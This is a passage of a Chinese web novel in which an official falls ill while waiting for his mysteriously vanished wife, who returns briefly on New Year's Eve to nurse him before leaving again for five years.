那封信的结尾,同样是一句“努力加餐饭,活过一百岁”,而在信的右下角,依旧没有署名,那红色的爱心下,是一行小字—— 请于三日后再打开下一封信。 左时珩看了眼滴漏,子时已过,他低笑了声,对着信自语道:“你猜错了,我没有提前,三日已到了。” 安声在信中与他分享了一件小事,说她在小学三年级时,她同桌喜欢班上的数学课代表,而她怀疑那个数学课代表喜欢她,因为他总在下课时过来问她数学作业有没有写完,她觉得他如果不是喜欢她的话,为什么要老找她茬。 她一度很苦恼此事,不知道怎么拒绝数学课代表多余的“关心”,更怕影响她与同桌的关系。 后来她才知道,数学课代表也喜欢她同桌,只是不好意思跟她说话,每回得先问了她之后,才好意思装作若无其事地问她同桌一句“那你的呢?”,她同桌也顺理成章地回“再等我一会儿”。 写到此处,她在一旁画了个愤怒的表情。 “太过分了,他们四年级就互相表白了,怕被老师知道还这么维持着我们三个人的关系,直到五年级我才发现!我跟他们绝交了,直到数学课代表答应,我没交作业时不记我名,才原谅他们,毕竟我是个宽容大度的人。” 只是谁也敌不过时间的威力,上了初中后,因为不在一个班,大家渐渐没了联系,再联系就是大学毕业后,她听说他们结婚了,不过路途太远不能参加,只能发了个红包以示祝福。 她向他感慨从校服到婚纱的感情好难得好珍贵啊,早知道当年上初中时暗恋那个长得很高的班长时就再坚持一下了,说不定她也谈上了。 左时珩轻笑摇头,心知她是故意的。 果然翻到后面,她画了个捧着爱心的幸福小人。 “哈哈是不是在吃醋!不过我想说的是一想到将来是和左时珩成婚,就感谢老师把我的早恋萌芽早早掐死了。” 左时珩望着那个小人,眼底的柔情几乎要溢出来。 画得很简单,却怎么看都有些像她,他几乎可以想象到,妻子是以怎样的语气和神情同他说这句话的。 他们在一起无话不谈,但她还依然有许多事能写在信里告诉他,可见,她对生活是如此的认真。 他真的很爱她。 左时珩唇畔的笑意还未下去,眼尾却弥漫起淡淡的红。 他不由自主地吻了吻信纸,才将其重新收起。 秋天的夜比夏日安静得多,没有蝉鸣蛙叫,连天上的月都几乎隐去了。 他续了灯,借光研墨,提笔回信。 “……阿声那年大概是八九岁吧,同你回信时,我细细追想许久,我那方年岁竟无甚趣事堪与你说,只一件小事值得一提。那时家中养鸡二十,后仅存十八,因村中有妇怀孕,来买蛋时又买去两只母鸡,那两羽生得瘦小,争食每每怯斗,常不得饱。我怜其羸弱,每于夜深人静悄悄饲之,如此半月,便生出牵念,故而当日眼见它们被卖,闷闷于屋后哭了许久……” 待他停笔,已到五更,墨阴干后,他也以信封装好,放到了另一口木箱中,才掌灯回了房歇下。 …… 一场雨后京城就入了冬,同往年不同,今年的雪下得格外早。 各处湖面上了冻,京中的工程便渐渐停了。 左时珩在家时,耐心教着岁岁与阿序读书写字,他们学得很快,也很乖很认真。 起初他们想念娘亲每晚都要哭,如今已好了很多,但愈发黏他了,必要跟他一起睡才行,生怕爹爹也就此不见了似的。 进了腊月,左时珩去城外回来时不甚着了凉,断断续续地咳嗽起来。 他本也未放在心上,只叫穆诗陪岁岁和阿序在后罩房睡,但拖了半月仍不见好,才去见了太医。 给他看症的是太医姓胡,一开始态度客气,待问了他几句饮食起居后,脸就板了起来,哼了声。 “我最看不惯的就是左大人这般不把自己身体当回事的人,没事拖成了有事,小病拖成了大病。若是休息够了,饮食规律,仗着自己年轻硬抗可以,但偏偏一日顶多睡两三个时辰,吃不过一顿,照这样下去,我就算给你开了药,你又能恢复得多好?我看,你不是来看病的,你是来找事的。” 左时珩:“……” 他才答了几句,这胡太医就叽里呱啦说了一堆。 见他态度冷硬,他打算起身离开,又被他按住。 “方子还没开,左大人这又急着去哪?” 左时珩欲言又止,最终无奈地坐在位置上没动,直到拿了药回家。 这药开得甚苦,苦得人难以下咽,他一度怀疑是那位太医故意为之。 每每饮药后,原先那一顿饭的胃口也无了,只好停了。 他近来吃得很少,人也消瘦许多,非是故意自损,而是的确没有胃口,无论什么饭菜,也都食之无味,勉强下咽。 他自己也常感无奈,常逼着自己多吃几口。 除夕前日,他又去了一次云水山,山路积雪湿滑,他艰难才上了去,满身的狼狈。 如今的云水山,被他勘察后修出一条还算好走的路,他但逢休沐总要去一趟。 山林很大,很深,几乎遍布了他的足迹。 但山中有野兽,他亦不敢随意深入,也必要在天黑前下山。 他这两日斟酌着,当在山上建一座木屋为好,不但自己可以多待上几日,偶尔上山来的樵夫猎人也能歇脚。 从云水山回来时,天已黑了,又飘起了小雪。 他踏进风芜院,穆诗来迎他,他问:“夫人回来了吗?” 穆诗愣了愣:“大人,夫人说今日回来吗?” 他沉默许久,忽而一阵撕心裂肺的咳,脸上血色褪去,只余苍白。 穆诗吓了一跳,他摆摆手,在阶前抖落衣上的雪,仿佛无事发生,径直进了屋。 明日除夕,只剩一日了。 阿声还没回来—— 作者有话说:更得晚为那般,我不会承认是打了两把游戏,而会说是今天上海下雪冷的把手冻住了[菜狗] 第85章 除夕 雪簌簌下了一夜。 除夕一早起来,园子积了厚厚一层,屋檐下满是挂着的冰凌,墙角各处树枝花草许多都被压断了。 下人们穿着厚棉衣,脸仍冻得发青,不断搓着发红的手,扫去小径上的雪。 穆诗穿衣时也抖了抖,缓了许久才舍得离开被窝,李婶倒是起得利索,已安排人烧了不少热水,隔门喊她去给东厢房送去。 穆诗应了声,又喊了别的小丫鬟起来,拿竿打断廊下冰凌,并在阶前铺上草席,以免路滑,还要清理院中树枝上的积雪。 她自己则去厨房打了热水,往东厢房去。 站在门外唤了两声,没听到大人回,才推了门进去,又喊了两声。 依旧没有回应。 往常大人都是起得很早,睡眠很浅,无须她喊就起了。 她心里奇怪,走进去撩了下床帐,见左时珩躺在床上睡得沉,脸色很差,不由吓了一跳,忙转身出去唤来李婶。 李婶匆匆忙忙过来,摸了摸他额头,惊道:“啊呀好烫,大人这是发烧了,你去跟你爹说,让他差人请个大夫来。” 穆诗立即去了。 李婶担心不已,又隔着被子拍了拍,喊:“大人,大人?” 左时珩皱了皱眉,费力掀起眸。 “……何事?” 他声音嘶哑干涩,才开口便忍不住咳出声。 李婶担忧道:“大人病了,在发烧呢,我让人去请大夫了,今日冷得很,就不要起了,若有客人来,我就回绝了去吧。” 时值年底,以左时珩的身份地位,往来送礼之人可谓是络绎不绝,他虽不爱结交,待人却也是礼数周到。 “无妨……”左时珩抬手,将手背搁在额上探了探,“一点点发烧而已……咳咳……” 他咳得急促,李婶忙去倒了水来,他接过抿了几口,长舒一口气,正要问“夫人回来了吗”,忽而意识到,若是安声回来了,他此时就该已知晓了。 拿茶杯的手仿佛无力似的垂了垂,他静默半晌,扶床沿坐起。 “只是受凉了,不要紧,吃服药就好。” 又问是什么时辰了。 李婶道:“刚到辰时,还早呢,少爷小姐都还没起,今天冷得很,雪下得老厚了,估计这样大雪,路不好走,登门拜访的人也不多。” 又摇头叹道:“大人就安心休养休养吧,这几个月来睡不好吃的少,瘦了很多,入冬以来更是咳了半月未好,药也不吃,夫人若回来见到,不知该多么心疼。” 左时珩将茶杯的水都喝了,润了润嗓子,闻言笑道:“我倒不愿让她见我这副模样,不过,她若回来,骂我也好。” 李婶便忍不住问:“夫人娘家在哪?怎么一去几月?过年都不回来。” 又指责道:“大人也真是,怎么不去接呢,少爷小姐想娘亲都想成什么样了。” 左时珩眼底黯然,只摇了摇头,再无别话。 李婶叹了口气,退了出去,将窗推了条缝,又往炭盆里重新续了几块炭,将屋子熏得热热的。 大夫来时,左时珩正在书房写信,便就在书房让大夫诊了脉。 大夫开了两副方子,一副退热,一副增益,叮嘱他不要过度忧思,譬如病中少读书,多休息,切忌着凉,喝了药最好去床上捂着,睡一觉发发汗。 左时珩虽一一应下,却仍等写完了信,且处理完了剩下的公务后才回房,几十步的路,咳了好几次。 穆诗端来熬好的药,他没接,只让先放着。 过会儿李婶来了,一见药还没动,不由催促:“大人,快把药喝了。” 他道:“我没说不喝,只是太烫,晾一晾而已。” “再晾都凉了,凉了更苦。” “我不是怕……” 左时珩低咳两声,无奈叹了口气,妥协了,“好,我现在就喝。” 他屏气皱眉,将药一口灌下,又不禁咳个不停。 李婶忙接过碗给他顺气,急道:“喝这么快做什么?” 他摆手,让李婶给倒了杯水,才缓和不少。 李婶说:“大人这样还是别折腾了,我看今日还是谢客,既喝了药就躺下睡一觉,一切等烧退了再说。” 左时珩却往窗外望了望,白茫茫的屋顶上,不知何时又飘起了雪。 他道:“我想出趟城。” 李婶大惊,立即摇头:“不行不行!开什么玩笑!” 不过左时珩决定的事,到底谁也劝不了。 李婶一直说一直说,最终还是看着他裹了件大氅,于雪天骑马而去。 “这怎么办……大人还病着呢……”李婶红了眼,喃喃着,“夫人……夫人到底去了哪?什么时候回来啊?” 穆山脸色凝重,眉头皱得更紧。 “大人应当又去云水山了,我也去一趟,接一接大人。” 李婶这一整天都等的心神不宁,雪越下越大,上午才扫去的雪,屋顶上又积了厚厚一层,这样的天谁都捱不住,哪里还出得了门,何况大人还发着烧。 穆诗带着少爷小姐玩,他们总问“爹爹呢”,又问“娘亲今天回来吗”,穆诗也不知怎么答,背过身偷偷落泪。 夫人一去几月无消息,连过年都不回,一定不止回娘家那般简单,否则大人怎么一点都不着急去接,人倒日益消瘦。 李婶与穆山心里也都有想法,只是谁都不提,开口也必捡好话说。 眼见着越发晚了,才终于见到了人。 穆山驾着马车,扶了左时珩从车里下来,他衣摆袖间处处可见泥泞,一张脸更是毫无血色,惨白得吓人。 李婶问不迭:“这是怎么了?怎么弄的?从哪里回来的……” 穆山摇头,吩咐她快去打些热水来,扶了左时珩进屋。 左时珩咳得很了,脸上才有了血色,纵然屋里熏得热热的,他身子却还在冷得发颤。 他问什么时辰。 穆山说快戌时了。 他颔首:“我不太舒服,略躺一会儿,亥时喊醒我。” 穆山不解,见状也不好多问,只能点头答应。 左时珩用热水洗漱了番,换了衣裳,躺到床上去,双目紧闭,呼吸急促而发沉。 穆山走出来,同李婶商量。 “先把药熬上,等戌时叫醒大人,无论什么急事,先让大人把药喝了。” 李婶道:“药早熬好了,一直温着,左等右等等到现在才见到你,你们这是去了哪?” 穆山叹道:“就是云水山。” 这样大的雪,根本没法上山,连猎人和樵夫也不会再这样的天气里进山的,但不知为何,大人偏要固执地上山,昏昏沉沉地不知跌了多少跤,深一脚浅一脚,走了一半就站不稳了,险些跌在雪地里。 所幸穆山一直跟着,才及时强行将人带了回来。 回程途中,左时珩清醒了些,问他是否在云水山中见到其他足迹。 他摇头,别说人了,连动物脚印都看不见一只。 左时珩才不再问。 李婶红着眼:“作孽啊,作孽啊,大人怎么一点不把自己身体当回事呢,平日就算了,怎么这个鬼天气还往山里去。” 穆山沉默良久,低声道:“怕不是,夫人那日出门,就是去了云水山吧……” 然后在那里失踪,所以大人一而再地往那里去。 若真如此,那夫人…… 他颤了颤,不敢想。 李婶更是打了他一下:“胡说八道。” 他啐了口,又跺跺脚:“没错,我胡说八道的。” 快到戌时时,雪终于彻底停了,不过北风仍吹着,刮在脸上如刀割一般。 在外面略站一站,就冷得人骨头疼。 今夜除夕,偌大的左宅早已张灯结彩,却无半点喜庆之意。 后院更是冷清。 穆诗给小丫头们发了银钱干果,让她们都歇在房里烤火去了,她自己则守在东厢房外间,呆呆坐着。 岁岁和阿序在里间玩,因为知道爹爹不舒服在睡觉,所以他们都安安静静的,连说话都很小声。 没多久,李婶端了药过来,悄声道:“等会儿你就喊大人起来喝药,知道吗?” 穆诗接过,点头。 李婶不放心,又叮嘱:“你看着他喝完,要是不喝你就来喊我。” “好。” 穆诗端了药进去。 李婶转身,才走了两步,迎面一人匆匆奔来,险些撞到她,不过又立即将她扶住。 “左时珩还好吗?” 熟悉的声音让李婶一呆,抬头时眼泪就不受控地淌下来了。 “夫、夫人?……” 安声还穿着当日离开的衣裳,不过双手冰冷,面色雪白。 她眼圈微红,抱了抱李婶,轻声说:“我只能待一会儿,天亮就走,不要惊动任何人。” 李婶待要问。 她叹道:“我有我的难处,连左时珩也说不得,但我总是会回来的。” 她顾不得说太多,推门而入,携来风雪。 烛火飘忽了几下,趋于稳定。 穆诗听到动静往外看了眼,同样呆住,一下扑出来抱住她,哽咽不已:“夫人……你……你去哪了夫人……” “嘘。”安声摸了摸她头发,眼眶湿润,笑道,“这里先交给我,我晚点和你说。” 穆诗擦擦眼泪,忙与她说起左时珩的情况。 安声认真听了:“好,我知道了。” 她脱去外衣,将手在外面炭盆上烤了烤,进到里间,岁岁和阿序一见她便惊喜地就要大喊。 她眼疾手快地抱住他们,捂住他们的嘴,温柔叮嘱:“宝宝不要吵到爹爹。” 岁岁和阿序抓着她袖子不放,泪珠断了线似的滚落,但是努力抿着嘴不出声。 “真乖。”安声红了眼。 她到床前,俯身探了探左时珩额头,又仔细端详于他,眸底心疼之色几乎满溢。 “瘦了这么多……” 她坐在床边,摸了摸他的脸,小心将他抱起来,让他靠在自己怀里。 左时珩有所感应,但昏昏沉沉的,并未完全清醒。 安声向阿序道:“宝宝,把桌上的药端来给娘亲。” 阿序乖乖的,踮着脚,高举小手,小心端起药碗,不过还是不小心洒了点在身上。 “不要紧。”安声接过,笑道,“做得很好。” 她用勺子舀起,自己先尝了口试试温度,却被药苦得皱眉。 “下次爹爹若是要喝药,你们要记得给药里加一点糖,然后自己端过来,盯着爹爹喝完,好吗?” 岁岁和阿序都认真点点头。 安声一笑,贴着左时珩脸蹭了蹭,感叹:“天下没有你这样的笨蛋了,把自己照顾成这个样子。” 她在他耳边低低唤了几声,待他有了反应,才哄他张嘴喝药,一勺一勺喂给他。 左时珩皱着眉,咳了起来,她将药碗递给阿序,给他拍了拍后背。 左时珩缓缓掀开眸,意识到是妻子回来时,身躯不由震了震,才要启唇,便被吻住。 安声托着他脸,吻得缱绻而缠绵。 不过这个吻并不长,毕竟当着孩子面,她松开他,手指轻抚他眼尾的绯红。 “我说我会回来的,我做到了,你却没做到,怎么把自己折腾成这个样子?” “……阿声?” 左时珩怔然着,神智仍不大清醒的模样,如置身梦里。 “嗯。” 安声将他抱紧,笑了笑。 然后看向岁岁和阿序:“岁岁,你去将帕子打湿拿来给娘亲,阿序你过来。” 岁岁搬了小板凳,在铜盆里慢慢湿了帕子,又用力拧干,阿序则是乖乖站到床边。 安声柔声道:“爹爹生病不舒服,有时候会没有力气端碗,这种时候,阿序可以给爹爹喂药,爹爹就算自己不想喝药的话,也不会拒绝阿序的,记得吗?” 阿序似懂非懂,但点点头。 他学着娘亲方才那样,舀了一勺递到左时珩嘴边:“爹爹喝药。” 左时珩睫羽颤了颤,眼底不甚清明,温声笑应。 “好。” 安声扶着左时珩,让阿序喂完了剩下的药。 又从岁岁手里接过帕子,给他擦了擦颈间额前的冷汗。 岁岁问:“娘亲打完怪兽了吗?” 安声摇头:“但是娘亲有信心,岁岁和阿序相信娘亲吗?” 他们异口同声:“相信!” “能不能乖乖等到娘亲下次回来呢?” “能!” “那,还记得之前答应娘亲什么了吗?” “保护好爹爹!” “嗯。”安声眼愈发红,望着又长高了好些的儿女,心里酸涩难忍。 小孩真是一天一个样,长得太快了,她分明离去不久,他们却已与她分别了几个月。 “阿声……”左时珩攥住她手,瞳孔不住地发颤,满是惶然,“你还要走?” 安声没有回答,只是温柔抱住了他。 “别怕,左时珩。” 第86章 前夜 “宝宝过来。” 安声朝两个孩子招了招手。 岁岁和阿序乖乖脱掉鞋子爬上床。 安声将帷帐放下,自己亦上了床榻,东厢房的床不大,烛光朦胧浅照,四个人挤挤挨挨十分温馨。 安声将他们揽在怀里亲了又亲,真是满心满眼的心疼与歉疚,其实对她来说,分别是极其短暂的,哪怕失败重来,她也不会有记忆。 而对留下的人来说,从安和四年到安和九年,却是真真切切跨过几乎两千个日夜。 还好他们还小,不懂得太多分别的悲伤,哭一哭也就忘了。 “你们躺到里面,和爹爹一起睡觉好不好?” “好~” 岁岁和阿序并肩躺下,往爹爹怀里钻,左时珩便伸手将他们一齐抱住,给他们盖好被子。 安声刚起身,被他攥住手腕:“阿声!” 安声柔声:“我不走,别紧张。” 她只是抱了床尾的被子过来,将左时珩裹得紧紧的:“别动,才喝了药,要发发汗才好。” 左时珩本就因高烧有些晕沉,喝了药就更是精神不济,但他不敢懈怠,浑身紧绷着,目光始终落在安声身上,生怕眨眼间她便要消失。 安声俯身轻吻他额头,见他神色苍白虚弱,眼底深深倦意,便知他定然许久没有好好睡觉了。 不由心底叹息了声。 她亦知左时珩并非故意自我折磨,实则是他温和之下有另一番锋利,容易自伤,譬如那年治河,他不顾性命又何止一次,回来后身上添了那么多伤,最深的一道至今疤痕还十分明显。 左时珩不肯告诉她细节,而她后来却有意从张大人那得知了,当时大夫给他止血缝合是何等惊险,他当夜发起高热,昏睡不醒,大夫都说凶多吉少,要当地官员做好准备了。 好在一夜过去,他退了烧,人也醒了,才让所有人都大松一口气。 若是如此也就罢了,挺过凶险,再好生将养,恢复恢复才是正常,可他歇不住一点,既大致完成了职责,便连夜启程回京,愣是在路上将伤口又崩开了一回,不得不紧急找了医馆重新缝合包扎。 为了赶路止血药上得倒勤,伤口长得快,连线都未及拆,以至于后来皮肉撕扯,又生生疼了一回。 左时珩他太好太好,但他的好全给了别人,吝于自身。 偏偏两个孩子太小,穆诗一家又无法真正僭越,能将同样的好回馈于他的,唯有安声一人而已。 安声嫌药苦不肯喝时,他会想办法往里加糖,哄着她,逗弄她,见不得她有一点不适。 而轮到他自己时,累也无妨,痛也无妨,连生病喝药都不大在意。 若非安声在每封信的末尾都加上的那句“努力加餐饭”,他大概没胃口时也便顺其自然地饿着了。 正因如此,安声才不得不要将此重任交到幼子手中,谆谆教导,让两个孩子去“逼”他。 安声倚在枕上,侧身将左时珩抱在怀里,一下一下地抚摸他头发。 两个孩子都睁大眼望着她,眼睛湿漉漉亮晶晶的。 安声小声说:“娘亲现在要交给你们一些重要的任务。” “第一,每天都要有一个人过来陪爹爹睡觉。” “第二,每天至少有一顿饭是和爹爹一起吃的,要监督爹爹吃完。” “第三,如果爹爹生病不舒服,比如像今天这样,要好好照顾爹爹,问问大夫可不可以给爹爹的药里加糖,然后看着爹爹喝完。” “能不能做到?” 两个孩子争相保证:“能!” 安声笑起来,眼眶湿润。 她语气更柔和了些。 “还有,要好好听爹爹的话,不惹爹爹生气,娘亲给你们写了很多信,你们跟着爹爹读书认字,将来就可以读娘亲留给你们的小秘密了,知道吗?” “知道了。”岁岁阿序似懂非懂地答。 “好,那现在就闭上眼睛乖乖睡觉,外面下了很大的雪,很冷,明天是新年,早睡早起,去给爷爷奶奶牌位磕头。” “好。” 两个孩子闭上眼睛。 过一会儿,岁岁睁开眼,又问了句:“娘亲会不会这里?” 安声点头笑:“嗯,娘亲会在这里给你们守岁,还给你们准备了压岁钱,明天一早就能收到了。” 岁岁这才乖乖闭上眼。 稚童懵懂无知,没有心事,不知这世上有着怎样的无可奈何与悲欢离合,因此许多人在长大后才常怀念童年。 但时间,永远向前,没有人能留住某一刻的美好。 安声怀里的气息滚烫而沉重,亦是沉默的。 左时珩静听着妻子和孩子的约定,未发一言,只任由自己沉在她怀里,贪婪享受这片刻温情。 安声躺了下来,更温柔地拥住他,吻着他头发。 “我会将所有事都告诉你,但不是现在……左时珩,你现在需要的是在我身边好好睡一觉。” 他久久无言,她只能听见他沉重而急促的气息,他身上热得很,出了许多汗,必然不舒服,但他什么也没说,只是将脑袋深埋在她怀里,恨不得将自己揉进她身躯里,与她融为一体才好。 “别这样闷着……会很难受。” 安声稍稍松开他一些,他便紧随上来,伸手揽住她腰肢,很是用力,近乎将她锁在身旁一般,不准她离开。 “左时珩。” “没什么比你身边……更让我好受……” 他声音低哑,模糊不清地说着,如同呓语。 安声的眼泪再也忍不住,此刻大颗大颗涌出来,无声坠落。 她紧抿唇,仰起头,不想让他察觉。 她再也没动,只是陪着他,抱着他,等药效发作上来,他扛不住,沉沉入睡。 随后她下了床,悄悄去到外面,穆诗没有休息,和李婶一直守在正厅,见她均是一副红着眼,又不知从何问起的模样。 安声拉着她们的手,低声同她们说了个谎。 她曾在安和九年编造了自己随高人隐世治病的事,如今她将这个谎言提前用了。 她解释:“……我不同左时珩说,是怕他伤心,又必要随我去,如今相告,恳请你们为我守口如瓶,好生照顾他与岁岁阿序。” 她眸底盈起泪光:“不过万望放心,安和九年我一定会回来。” 说罢又吩咐他们送些热水来,药放灶上熬着,待天明前,她再喂左时珩喝一次,若烧还不退,就去请太医院的胡太医来诊脉。 两人一一应下,忙去了。 没多久安声端着一盆温热的水到床前,湿了干巾,给左时珩细致擦了擦身体。 他实在出了好些汗,额发凌乱地贴在脸上,额头很烫,手脚却还是冷的。 做完这些,窗外正好远远传来烟花爆竹之声。 安声推开窗看了眼,沉沉苍穹,忽明忽灭,冰雪冷映烛光。 又是一年啊。 或许这个世界不欢迎她这样强行闯入的外来者,但她必须留在这里,虽然时至今日,她依然没有万分把握。 往年的除夕,她总是和左时珩一起围炉守岁,聊到很晚,两人即便夫妻多年,依然有聊不完的话,直到后半夜,才依依不舍的相拥睡去。 而今年,他们一个即将离开,一个因病昏睡,无人能欢喜起来。 安声浑身充斥着无力感,酸涩从骨缝里泛出来。 这五年是她无论如何也跨不过去的鸿沟了。 她转身回到左时珩身边,隔着被子轻轻抱住他,陪他度过这个难捱的夜晚。 她甚至有些庆幸,左时珩此刻的不清醒,能让她不必直面离别,她是个极不愿道别的人,每一次的道别都让她痛苦万分,仿佛血肉被剜去一块,时刻提醒她,她生命中的又一次失去了重要的东西。 安声依偎着他脸,满心眷恋,清冷的白梅香气经体温氤氲,将她浸透了,似乎不知从何时起,她的魂魄也早已与左时珩系于一身。 夫妇本为一体,她哪里还能离开呢。 她爱他至极,已无法言语所述了,恨不能苦他所苦,痛他所痛。 可上苍似乎偏要对她说,世间美好幸福之事,岂能让你轻易得到? 于是一遍又一遍,一次又一次,将之拆解还原。 安声在这般宿命涡流中,也一遍又一遍,一次又一次奋力反抗,尽力向岸边游去。 不屈服,本身就是人的意志。 她守了左时珩整夜,天明前,她才轻轻唤醒他,喂他喝药。 “加了一点糖……不是很苦。” 他倚在她怀里,从不安稳的噩梦里醒来,仍处在半梦半醒之中。 但几乎从不拒绝她的左时珩,无论她怎样说,也始终抿紧唇线,不愿张嘴。 安声无法,只得换了个法子,自己喝了小口,然后托起他的脸,一点点渡给他。 他拒绝不了她的亲吻,即便索取到的是苦涩。 喝完药,他忍不住低咳了几声,人清醒一些,只是仍没有力气,懒懒地靠在她颈侧,灼热而沉重的气息规律扑着。 安声将被子往上拽了拽,给他盖好。 “左时珩,我并未对你失信,所以,该是你向我践行承诺的时候了……努力加餐饭,活过一百岁。” 他嗅着她颈间气息,闻言轻笑:“我也并未失信,每日都有努力吃饭。” “瘦了这么多,还说没失信。” 安声皱眉,又心疼又生气地在他耳朵上咬了口,“我说的话要真的听进去,否则我会整日担忧,无法安生了。” “好……”他应着,语气温和低沉,“再多说一些吧,我会听的。” 烟花爆竹之声渐渐消弭了,夜幕沉沉,如无底的深渊。 时间不多了。 “我要说的话,都在信里。” 安声红着眼,收紧了抱他的力道,“你读我的信,要记得给我回,我回来会慢慢看的,等我的信你都读完了,我就回到你身边了。” “这样想来,其实我也不曾离开过你,对吗?五年很短的。” 五年,很短吗?…… 可他们在一起,还不足五年。 这五年,到底要用怎样的方式,才能够对抗磅礴浩瀚的思念呢。 两次外派去高平府时,他无日无夜不思念于她,但他知道,她就在京中,就在家里,他只要回去就能见到她,抱她,吻她,这份牵念远隔千里如纸鸢的丝线,未曾断绝。 他曾以为,他能忍受几个月甚至一年没有她的消息,但他错得离谱,这几个月来,他夜夜思念蚀骨,五脏六腑如搅成一处,煎熬得透不过气。 几月便是如此,五年又待如何。 “我做不到……”他声音极轻极轻,像是一缕魂魄发出来的叹息。 他在她怀里,依然冷得发抖。 灵台混沌不清,此身如坠幽冥。 他记得安声抱紧他,搓着他的手,多次探他的体温,还给他喂了温水,在他耳畔说了很多的话。 但他分辨不出什么内容,他像是沉在水底,静听着岸上的人说话,意识慢慢陷入黑暗。 他真想就此睡下去,睡一场长长的觉,醒来时便能见妻子明媚的笑。 她会低下头温柔吻他,对他说—— 左时珩,安和九年,我回来了。 第87章 五年 安和三年底,左时珩病了一场,这一病就病了许久,时好时坏。 皇帝知道后,指派了太医院的胡太医,每隔三日上府问诊,直到确认他并无大碍才罢。 阳春三月,左时珩的病勉强大好,只是人比之前消瘦了一圈,也更沉默寡言了些。 若说原先他是一棵蓬勃葳蕤的松柏,如今却更像经霜受雪的青竹,冷清孤寂。 唯有回家后,面对两个孩子,眉梢眼角才有温和如初的笑。 安声凭空消失许久,京中有些关于她的传言,连皇帝也有耳闻,亦十分好奇。 但左时珩绝口不谈家事,于公务上又勤勉细致,认真负责,不辞辛劳,他更不好去探问官员私密,只能旁敲侧击几句。 但不论谁问起,左时珩都不过从容一句:“吾妻归家去了,路途遥远,要长住一番。” 纵然林雪来问,他亦是这个说词。 不过他待林雪十分客气。 他白日不在家时,她会带女儿登门陪伴岁岁与阿序玩耍,岁岁与阿序很喜欢她和陈静月。 他若是不在京中,也愿意送岁岁与阿序去陈府小住,林雪待他们如同亲生儿女,将他们照顾得很是周到。 自黄河高平府段治理成效颇丰后,其他黄河流经或运河关键河道的堤防加固,疏浚清淤,汛期前巡查等,也常要专业指导,因此他被外派为督抚大员,亲去协调的次数十分少数。 可谓夙夜忧劳,奔波不止。 除去水利相关,其他地方工程,诸如官署粮仓等修建,道路桥梁等修缮,漕运通航等保障,也皆仰赖工部。 甚至必要还须配合兵部,赶赴边关督造城墙、烽火台、屯兵堡垒一些设施的修筑。 左时珩纵然不全亲力亲为,也大多担起主要责任。 在京中则是更忙,除去朝会与衙署批阅公文外,环陵的修造仍是他亲自在管,不得不常抽身赶赴巡视,以防出现岔子。 当然,这些不过劳身,真正劳神的还是每每与户部争论预算时,令他头疼不已。 有时他下值归家,仍要在书房挑灯核算经费,密密麻麻的账目令他头晕目眩,心烦意乱,要在书房的圈椅上闭目歇上好一会儿。 从前,安声总是陪着他。 他什么也不必说,她就明白。 每每此时,她也从不说些安慰人的大道理,她会不知何时煮一杯奶茶来,递到他面前,笑意盈盈。 “左时珩,这次是尝尝几分糖。” 他的心思能轻易被她牵引,全然忘记其他。 他就着她的手小啜一口,认真品尝,说:“五分。” “错。”他可爱的妻子得意起来,笑得眉眼弯弯,“我没有放糖,往里加了一块麻薯,煮化了,口感软糯糯。” “可是麻薯里也有糖。” “不算不算,只要我没有放糖,它就是无糖的,无糖则不会长胖,可以放心大胆地喝上两杯,不过我善良大方,愿意分你一杯。” 而有时,她会盛气凌人地将一张纸拍在他面前,大声道:“谁?谁惹我夫君烦心了?把他名字写出来,我来替你解决。” 他垂眸一看,那张纸上赫然横向写着“死亡笔记”四个大字。 他实在忍俊不禁,哪里还苦恼得起来。 不过亦会很配合她,一本正经问:“这个管用吗?” “管用,怎么不管用。”安声凑近他,恶狠狠地道,“还记得上次我们在厨房见到的那只蟑螂吗?我曾将它写在纸上,不出三日,就在屋角见到了它的尸体,肚皮朝天,死状凄惨。” 她杏眼微瞪,明亮狡黠,煞是可爱。 那时左时珩的目光全然沉沦到她的目光里,简直无半分克制之力,将她揽坐在腿上,低头吻下去。 他从前只觉公务繁忙,而不觉疲累。 她不在,他才知原来生活竟这样磋磨心神。 他只能让自己忙到没有一丝余地,才能得片刻喘息。 不敢停下,一旦停下,思念便如跗骨之蛆,无孔不入,无时无刻不啃噬他五脏六腑。 唯一的寄托只有她留下的书信一箱。 因此,他也深感无奈,在回信中与她说,不是他不愿珍重自身,而是食不下咽,睡不安寝,非人力所能转圜。 “三魂七魄系于尔身,不得周全。” …… 左时珩从都水清吏司郎中任上拔擢为工部侍郎后,苏博苏大人便渐减少了在工部的事务,绝大部分的职责全然落到左时珩一人头上。 第三年,左时珩向吏部举荐了张为是任都水清吏司郎中一职,张大人亦是时时辛苦,常奔波在外。 安和五年,许久未来的赵夫人再度进京,大约是听张大人说了左时珩的事,赵夫人与夫登门时,忍住未提安声,只问两个孩子。 左时珩却不在意,反主动与她提及,那艘贝壳船被阿序不小心打破,他说安声一直对此感到惋惜,想向她当面致歉,如今不在家,只能由他来说了。 赵夫人讶异,才仔细端详起他,见左时珩颀长如玉,眉目温和,与当年相比,沉稳许多,只是清减了些,约有些病容。 她登门前打听了许多关于安声的传言,大多人并不信安夫人回了娘家,她抛夫弃子忽然消失,本身就是一件极不寻常之事,何况哪有一去两年,既没有回,也不去接,更没有音信的。 要知道,在此之前,风光无限的左大人与夫人伉俪情深,在京中显贵间也是一段佳话。 传言没有定论,说什么的都有,但大多都在说,安夫人只怕已经身故,可左大人不愿相信,不愿放下,只当夫人出了远门,必有归期,不过是自欺欺人罢了。 更有甚者,说的更加离谱。 说左大人常常独自出城,前往云水山,一入山中便是几日,正是招魂相伴去了,人鬼殊途,故而才日渐消瘦。 这话甚至传到安和帝耳中,安和帝起初自觉甚是荒唐,可细细想来,此事确有诸多怪异。 他到底耐不住好奇,有次特意相问于左时珩。 左时珩仍是同样的回答。 他不满意,追问:“既是回了娘家,娘家在哪?普天之下莫非王土,难道还能不在我丘朝境内?你又为何久不去接?朕既问了,你就好好回话,莫要敷衍塞责,谎言诓上,犯下欺君之罪。” 又找补道:“非为刺你阴私,实在是流言纷纷,影响不小,你一个三品大员,总要顾及自身与朝廷颜面。” 左时珩无奈摇头:“臣并不敢欺君,臣的妻子当初只留下书信一封,信中只言及归家,既无地址也无归期,臣想接也不知往哪里接,只能默默等待。” “还有这种事?你就不担心她人是出了什么意外?怎么不及时让有关衙门协助去找?” 左时珩只扯了个淡笑,眸底满是苦涩。 安和帝皱眉:“那你总往云水山跑又是做什么?那是座荒山,山中豺狼虎豹环伺,你若有个好歹如何?” “多谢皇上关心。”左时珩默了默,坦言,“吾妻信中说,将来若有归期,将现身云水山中,臣这才常去,且在山中建有木屋一座,不惧野兽伤人。” 